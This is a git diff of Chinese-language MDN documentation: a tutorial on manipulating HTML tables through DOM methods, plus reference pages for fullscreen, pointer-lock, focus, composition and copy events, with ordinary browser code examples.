基本DOM方法 - Sample2.html

+ +

getElementByTagName是文档接口(Document interface)和元素接口(Element interface)的中的方法,所以不管是根文档对象还是所有的元素对象都含有方法getElementByTagName。用来通过它们的标签名称(tag name)来获得某些元素的一系列子元素。你可以使用的方法是:element.getElementsByTagName(tagname)

+ +

getElementsByTagName返回一个有特定标签名称(tagname)的子元素列表。从这个子元素列表中,你可以通过调用item和你想得到的元素的下标,来获得单个元素。列表中第一个元素的下标是0。上面的方法很简单,但是当你操作一个巨大的数据结构时还是应该小心一些。 OK,我们下一个话题中要继续对我们的表格例子进行修改。下面的示例更加简单,它意图展示一些基础的方法:

+ +
<html>
+<head>
+<title>样例代码 - 使用 JavaScript 和 DOM 接口操作 HTML 表格</title>
+<script>
+    function start() {
+        // 获得所有的body元素列表(在这里将只有一个)
+        myDocumentElements=document.getElementsByTagName("body");
+        // 我们所需要body元素是这个列表的第一个元素
+        myBody=myDocumentElements.item(0);
+        // 现在,让我们获得body的子元素中所有的p元素
+        myBodyElements=myBody.getElementsByTagName("p");
+        // 我们所需要的是这个列表中的第二个单元元素
+        myP=myBodyElements.item(1);
+    }
+</script>
+</head>
+<body onload="start()">
+<p>hi</p>
+<p>hello</p>
+</body>
+</html>
+
+ +

在这个例子中,我们设置变量myP指向DOM对象body中的第二个p元素:

+ +
    +
  1. 首先,我们使用下面的代码获得所有的body元素的列表,因为在任何合法的HTML文档中都只有一个body元素,所以这个列表是只包含一个单元的。 +
    document.getElementsByTagName("body")
    +
  2. +
  3. 下一步,我们取得列表的第一个元素,它本身就会body元素对象。 +
    myBody=myDocumentElements.item(0);
    +
  4. +
  5. 然后,我们通过下面代码获得body的子元素中所有的p元素 +
    myBodyElements=myBody.getElementsByTagName("p");
    +
  6. +
  7. 最后,我们从列表中取第二个单元元素。 +
    myP=myBodyElements.item(1);
    +
  8. +
+ +

Image:sample2a2.jpg

+ +

一旦你取得了HTML元素的DOM对象,你就可以设置它的属性了。比如,如果你希望设置背景色属性,你只需要添加:

+ +
myP.style.background="rgb(255,0,0)";
+// 设置inline的背景色风格
+
+
+ +

使用document.createTextNode(..)创建文本节点

+ +

使用文档对象来调用一个createTextNode方法并创建你自己的文本节点。你只需要传递文字内容给这个函数。返回的值就是一个展示那个文本节点信息的对象。

+ +
myTextNode=document.createTextNode("world");
+
+ +

这表示你已经创建了一个TEXT——NODE(一个文字片断)类型的节点,并且它的内容是“world”,任何你对myTextNode的引用都指向这个节点对象。如果想将这个文本插入到HTML页面中,你还需要将它作为其他节点元素的子元素。

+ +

使用appendChild(..)插入元素

+ +

那么,通过调用myP.appendChild({{ mediawiki.external('node_element') }})你可以将这个元素设置成为第二个P的一个新的子元素。

+ +
myP.appendChild(myTextNode);
+
+ +

在测试了这个例子之后,我们注意到,hello和world单词被组合在了一个:helloworld。事实上,当你看到HTML页面时,hello和world两个文字节点看起来更像是一个节点。但是请记住它们在文档模型中的形式--是两个节点。第二个节点是一个TEXT_NODE类型的新节点,也是第二个P标签的第二个子元素。下面的图标将在文档树种展示最近创建的文本节点对象。

+ +

Image:sample2b2.jpg

+ +
createTextNode 和 appendChild 是在单词hello和world之间设置空格的一个简单方法。另外一个重要的注意事项是:appendChild方法将把新的子节点接在最后一个子节点之后,正如world被加在了hello之后。所以如果你想在hello和world中间添加一个文本节点的话,你应该使用insertBefore而不是appendChild.
+ +

使用文档对象和createElement(..)方法创建新的元素

+ +

你可以使用createElement来创建新的HTML元素或者任何其它你想要的元素。比如,如果你想要创建一个新的P作为BODY的子元素,你可以使用前面例子的myBody并给它接上一个新的元素节点。使用 document.createElement("tagname")可以方便的创建一个节点。如下:

+ +
myNewPTAGnode=document.createElement("p");
+myBody.appendChild(myNewPTAGnode);
+
+ +

Image:sample2c.jpg

+ +

使用removeChild(..)方法移除节点

+ +

每一个节点都可以被移除.下面的一行代码移除了包含在myP(第二个p元素)下面的文本节点world。

+ +
myP.removeChild(myTextNode);
+
+ +

最后你可以将myTextNode(那个包含了world单词的节点)添加给我们最后创建的P元素:

+ +
myNewPTAGnode.appendChild(myTextNode);
+
+ +

被修改的对象树的最后的状态如下:

+ +

Image:sample2d.jpg

+ +

动态创建一个表格(回到Sample1.html)

+ +

这一段落的剩余部分我们将继续修改我们sample1.html。下面的图展示了我们在示例中创建的表格的对象树的结构。

+ +

复习一下HTML表格结构

+ +

Image:sample1-tabledom.jpg

+ +

创建元素节点并将他们插入到文档树中

+ +

sample1.html中创建表格的基本步骤是:

+ + + +
在start函数的最后,有一行新代码。使用另一个DOM方法(setAttribute)来设置表格的边界属性。setAttribute有两个参数:属性的名称和属性的值。你可以使用这个方法来设置任意元素的任意属性。
+ +
<head>
+<title>示例代码 - 使用Javascript和DOM Interfaces来处理HTML</title>
+<script>
+    function start() {
+        // 获得body的引用
+        var mybody=document.getElementsByTagName("body").item(0);
+        // 创建一个标签名称为TABLE的元素
+        mytable = document.createElement("TABLE");
+        // 创建一个标签名称为在TBODY的元素
+        mytablebody = document.createElement("TBODY");
+        // 创建所有的单元格
+        for(j=0;j<2;j++) {
+            // 创建一个标签名称为在TR的元素
+            mycurrent_row=document.createElement("TR");
+            for(i=0;i<2;i++) {
+                // 创建一个标签名称为在TD的元素
+                mycurrent_cell=document.createElement("TD");
+                // 创建一个文字节点
+                currenttext=document.createTextNode("cell is row "+j+", column "+i);
+                // 将文字节点添加到TD单元格内
+                mycurrent_cell.appendChild(currenttext);
+                // 将TD单元格添加到TR行中
+                mycurrent_row.appendChild(mycurrent_cell);
+            }
+            // 将TR行添加到TBODY中
+            mytablebody.appendChild(mycurrent_row);
+        }
+        // 将TBODY添加到TABLE中
+        mytable.appendChild(mytablebody);
+        // 将TABLE添加到BODY中
+        mybody.appendChild(mytable);
+        // 设置边界属性为2
+        mytable.setAttribute("border","2");
+    }
+</script>
+</head>
+<body onload="start()">
+</body>
+</html>
+
+ +

使用CSS和DOM来操作表格

+ +

从表格中获得一个文字节点

+ +

示例介绍了两个新的DOM属性。首先,使用childNodes属性来获得mycel的孩子节点列表。childNodes列表包括所有的孩子节点,无论它们的名称或类型是什么。像getElemengByTagName一样,它返回了一个节点列表。不同的是,getElementByTagName只返回指定标签名称的元素。一旦你获得了返回的列表,你可以使用item(x)方法来使用指定的元素。这个例子在表格的第二行第二个单元格中的myceltext中保存了一个文字节点。然后,运行这个例子并观察结果,他创建了一个新的文字节点,这个文字节点的内容是myceltext的值,并且将这个文字节点作为了BODY元素的一个孩子。

+ +
如果你的对象是一个文字节点,你可以使用data属性来回收(retrieve)节点的文字内容
+ +
mybody=document.getElementsByTagName("body").item(0);
+mytable=mybody.getElementsByTagName("table").item(0);
+mytablebody=mytable.getElementsByTagName("tbody").item(0);
+myrow=mytablebody.getElementsByTagName("tr").item(1);
+mycel=myrow.getElementsByTagName("td").item(1);
+// mycel的孩子节点列表的第一个元素
+myceltext=mycel.childNodes.item(0);
+// currenttext的内容是myceltext的内容
+currenttext=document.createTextNode(myceltext.data);
+mybody.appendChild(currenttext);
+
+ +

获得一个属性的值

+ +

在sample1的最后我们在mytable对象上调用了setAttribute。这个调用是用来设置表格的边界属性的。然后是用了getAttribute方法来获得一个属性的值:

+ +
mytable.getAttribute("border");
+
+ +

通过改变样式属性来隐藏一列

+ +

一旦你在你的javascript变量中保存了一个对象,你就可以直接为它设置样式属性了。下面的代码是修改后的sample1.html,在这里,第二列的每一个单元格都被隐藏了。而且第一列中的每一个单元格改为使用红色背景。注意,样式属性是被直接设置的。

+ +
<html>
+<body onload="start()">
+</body>
+<script>
+    function start() {
+       var mybody=document.getElementsByTagName("body").item(0);
+       mytable = document.createElement("TABLE");
+       mytablebody = document.createElement("TBODY");
+       for(j=0;j<2;j++) {
+           mycurrent_row=document.createElement("TR");
+           for(i=0;i<2;i++) {
+               mycurrent_cell=document.createElement("TD");
+               currenttext=document.createTextNode("cell is:"+i+j);
+               mycurrent_cell.appendChild(currenttext);
+               mycurrent_row.appendChild(mycurrent_cell);
+               // 当column为0时,设置单元格背景色;column为1时隐藏单元格
+               if(i==0) {
+                   mycurrent_cell.style.background="rgb(255,0,0)";
+               } else {
+                   mycurrent_cell.style.display="none";
+               }
+           }
+           mytablebody.appendChild(mycurrent_row);
+       }
+       mytable.appendChild(mytablebody);
+       mybody.appendChild(mytable);
+    }
+</script>
+</html>
+
+ +
+{{ languages( { "en": "en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces", "fr": "fr/Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript", "ja": "ja/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" } ) }}
diff --git a/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html new file mode 100644 index 0000000000..d87cd89683 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.mozFullScreenElement +slug: Web/API/Document/mozFullScreenElement +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

+

语法

+
var element = document.mozFullScreenElement;
+
+

示例

+
function isVideoInFullsreen() {
+  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
+    console.log('您的视频正在以全屏模式显示');
+  }
+}
+

辅助

+

查看使用"全屏模式"页面了解详情.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

+

相关链接

+ diff --git a/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html new file mode 100644 index 0000000000..eb6ed9cf98 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html @@ -0,0 +1,105 @@ +--- +title: Document.pointerLockElement +slug: Web/API/Document/pointerLockElement +translation_of: Web/API/DocumentOrShadowRoot/pointerLockElement +--- +
{{APIRef("DOM")}}
+ +

pointerLockElement 特性规定了如在鼠标事件中当目标被锁定时的元素集和。如果指针处于锁定等待中、指针没有被锁定,或者目标在另外一个文档中这几种情况,返回的值null。

+ +

语法

+ +
var element = document.pointerLockElement;
+
+ +

返回值

+ +

An {{domxref("Element")}} or null.

+ +

特性

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','l#extensions-to-the-document-interface','Document')}}{{Spec2('Pointer Lock')}}Extend the Document interface
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/accesskey/index.html b/files/zh-cn/web/api/element/accesskey/index.html deleted file mode 100644 index 4f76e7f784..0000000000 --- a/files/zh-cn/web/api/element/accesskey/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Element.accessKey -slug: Web/API/Element/accessKey -tags: - - API接口 - - 属性 - - 需要丰富内容 -translation_of: Web/API/HTMLElement/accessKey -translation_of_original: Web/API/Element/accessKey ---- -
{{APIRef("DOM")}}
- -
 
- -

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

- -
-

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

-
- -

 

- -

 

diff --git a/files/zh-cn/web/api/element/activate_event/index.html b/files/zh-cn/web/api/element/activate_event/index.html deleted file mode 100644 index 3185540e78..0000000000 --- a/files/zh-cn/web/api/element/activate_event/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 'Element: DOMActivate event' -slug: Web/API/Element/Activate_event -tags: - - API - - 事件 - - 参考 -translation_of: Web/API/Element/DOMActivate_event ---- -

{{APIRef}}

- -

{{Deprecated_Header}}

- -

当元素被激活时发生,例如点击鼠标或键盘按键。

- -

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

- - - - - - - - - - - - - - - - -
-

Bubbles

-
-

Yes

-
-

Cancelable

-
-

Yes

-
-

Interface

-
-

{{domxref("MouseEvent")}}

-
- -

示例

- -
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
-     xmlns:ev="http://www.w3.org/2001/xml-events"
-     width="6cm" height="5cm" viewBox="0 0 600 500">
-
-  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
-
-  <!-- ECMAScript to change the radius -->
-  <script type="application/ecmascript"><![CDATA[
-    function change(evt) {
-      var circle = evt.target;
-      var currentRadius = circle.getFloatTrait("r");
-      if (currentRadius == 100)
-        circle.setFloatTrait("r", currentRadius * 2);
-      else
-        circle.setFloatTrait("r", currentRadius * 0.5);
-    }
-  ]]></script>
-
-  <!-- Act on each DOMActivate event -->
-  <circle cx="300" cy="225" r="100" fill="red">
-    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
-  </circle>
-
-  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
-    Activate the circle to change its size
-  </text>
-</svg>
-
- - - -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- -

{{Compat("api.Element.DOMActivate_event")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html new file mode 100644 index 0000000000..b2f4f0d980 --- /dev/null +++ b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:afterscriptexecute 事件 +slug: Web/Events/afterscriptexecute +tags: + - 事件 + - 参考 + - 非标准 +translation_of: Web/API/Element/afterscriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

afterscriptexecute 事件在一个脚本执行完毕后触发。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.afterscriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html new file mode 100644 index 0000000000..00aa4120c1 --- /dev/null +++ b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:beforescriptexecute 事件 +slug: Web/Events/beforescriptexecute +tags: + - DOM + - 参考 + - 非标准 +translation_of: Web/API/Element/beforescriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

beforescriptexecute 事件在一个脚本被执行前触发,取消此事件可以阻止该脚本的执行。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.beforescriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/blur_event/index.html b/files/zh-cn/web/api/element/blur_event/index.html new file mode 100644 index 0000000000..a57cc5b995 --- /dev/null +++ b/files/zh-cn/web/api/element/blur_event/index.html @@ -0,0 +1,150 @@ +--- +title: blur (event) +slug: Web/Events/blur +translation_of: Web/API/Element/blur_event +--- +

当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("FocusEvent")}}
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
+
+ +

{{NoteStart}}{{domxref("Document.activeElement")}} 的值随浏览器的不同而不同 ({{bug(452307)}}): IE10把值设为焦点将要移向的对象 , 而Firefox和Chrome 往往把值设为body .{{NoteEnd}}

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM 元素)
+ +

事件代理

+ +

有两种方法来为这个事件实现事件代理:在支持 focusout 事件的浏览器中使用 focusout 事件(除了 FireFox 以外的浏览器都支持 focusout)或者通过设置 addEventListener 方法的第三个参数 "useCapture" 为 true:

+ +

HTML Content

+ +
<form id="form">
+  <input type="text" placeholder="text input">
+  <input type="password" placeholder="password">
+</form>
+ +

JavaScript Content

+ +
var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);
+ +

{{EmbedLiveSample('Event_delegation')}}

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatVersionUnknown}}[1]612.15.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.053{{CompatUnknown}}10.012.15.1
+
+ +

[1] 在 Gecko 24 {{geckoRelease(24)}} 之前,事件的接口为 {{domxref("Event")}},而不是 {{domxref("FocusEvent")}}。参考 ({{bug(855741)}}).

+ +

相关的事件

+ + diff --git a/files/zh-cn/web/api/element/compositionend_event/index.html b/files/zh-cn/web/api/element/compositionend_event/index.html new file mode 100644 index 0000000000..4a023fc0e5 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionend_event/index.html @@ -0,0 +1,146 @@ +--- +title: compositionend +slug: Web/Events/compositionend +tags: + - 事件 +translation_of: Web/API/Element/compositionend_event +--- +

当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}聚焦元素处理成分
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否冒泡
cancelable {{ReadOnlyInline}}boolean是否可以取消该事件
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (window of the document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)正在编辑的原始字符串, 否则为空字符串。只读。
locale{{domxref("DOMString")}} (string)组合事件的语言代码 (如果可用);否则, 为空字符串。只读。
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] 该事件是在9.0 之前的Gecko版本中已经可以使用, 但没有 DOM 级3属性和方法。Gecko还不支持给受信任事件的locale属性设置值。但是, 当创建不受信任的事件时,此值可以通过initCompositionEvent() 设置。

+ + + + diff --git a/files/zh-cn/web/api/element/compositionstart_event/index.html b/files/zh-cn/web/api/element/compositionstart_event/index.html new file mode 100644 index 0000000000..71aa9f1f0d --- /dev/null +++ b/files/zh-cn/web/api/element/compositionstart_event/index.html @@ -0,0 +1,152 @@ +--- +title: compositionstart +slug: Web/Events/compositionstart +tags: + - Element + - Event + - Input method + - compositionstart + - 事件 + - 参考 +translation_of: Web/API/Element/compositionstart_event +--- +

文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

+ +

例如,当用户使用拼音输入法开始输入汉字时,这个事件就会被触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("CompositionEvent")}}
Event handler property + + + + + + +
None
+
+ +

示例

+ +
const inputElement = document.querySelector('input[type="text"]');
+
+inputElement.addEventListener('compositionstart', (event) => {
+  console.log(`generated characters were: ${event.data}`);
+});
+ +

动态演示

+ +

HTML

+ +
<div class="control">
+  <label for="name">On macOS, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label>
+  <input type="text" id="example" name="example">
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
+  <button class="clear-log">Clear</button>
+</div>
+ +

CSS

+ +
body {
+  padding: .2rem;
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.control {
+  grid-area: control;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+input[type="text"] {
+  margin: .5rem 0;
+}
+
+kbd {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+
+ +

JS

+ +
const inputElement = document.querySelector('input[type="text"]');
+const log = document.querySelector('.event-log-contents');
+const clearLog = document.querySelector('.clear-log');
+
+clearLog.addEventListener('click', () => {
+    log.textContent = '';
+});
+
+function handleEvent(event) {
+    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
+}
+
+inputElement.addEventListener('compositionstart', handleEvent);
+inputElement.addEventListener('compositionupdate', handleEvent);
+inputElement.addEventListener('compositionend', handleEvent);
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', '#event-type-compositionstart')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.compositionstart_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/compositionupdate_event/index.html b/files/zh-cn/web/api/element/compositionupdate_event/index.html new file mode 100644 index 0000000000..11952af506 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionupdate_event/index.html @@ -0,0 +1,145 @@ +--- +title: compositionupdate +slug: Web/Events/compositionupdate +translation_of: Web/API/Element/compositionupdate_event +--- +

compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}焦点所在的,处理文字输入的元素。
type {{ReadOnlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{ReadOnlyInline}}booleanDoes the event normally bubble?
cancelable {{ReadOnlyInline}}booleanIs it possible to cancel the event?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (the window of the document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)要被替换掉的字符串,如果输入时没有字符串被选,则为空字符串。只读。
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)输入事件的语言代号,或者空字符串。只读。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在 compositionstart 事件之后不会立即执行。

+ +

[2] compositionupdate 事件在编辑器里的内容改变之前就会触发。自从 Gecko 12.0 {{geckoRelease("12.0")}} 开始 input 事件在输入过程中、内容变化后就触发。使用它可以在输入过程中就获得新的内容。

+ +

Gecko 在可信事件(trusted events)中还不支持 locale 属性。但是开发者可以在使用 initCompositionEvent() 创建不可信事件时指定一个值。

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/element/copy_event/index.html b/files/zh-cn/web/api/element/copy_event/index.html new file mode 100644 index 0000000000..ac249f5055 --- /dev/null +++ b/files/zh-cn/web/api/element/copy_event/index.html @@ -0,0 +1,164 @@ +--- +title: copy +slug: Web/Events/copy +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/copy_event +--- +

当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

+ +

基本信息

+ +
+
Specification
+
Clipboard
+
Interface
+
{{domxref("ClipboardEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
{{domxref("Element")}}:获得焦点的元素(如{{domxref("HTMLElement.contentEditable","contentEditable")}}内容能编辑或者可以选中的元素),或{{HTMLElement("body")}}。
+
Default Action
+
见下文。
+
+ +

调用{{domxref("DataTransfer.setData","setData(format, data)")}}可以修改{{domxref("ClipboardEvent.clipboardData")}}事件的默认行为:

+ +
document.addEventListener('copy', function(e){
+    e.clipboardData.setData('text/plain', 'Hello, world!');
+    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
+    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
+});
+ +

不能使用{{domxref("DataTransfer.getData", "clipboardData.getData()")}}在事件处理函数中获取剪切板数据。

+ +

事件的默认行为与事件的来源和事件处理函数相关:

+ + + +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

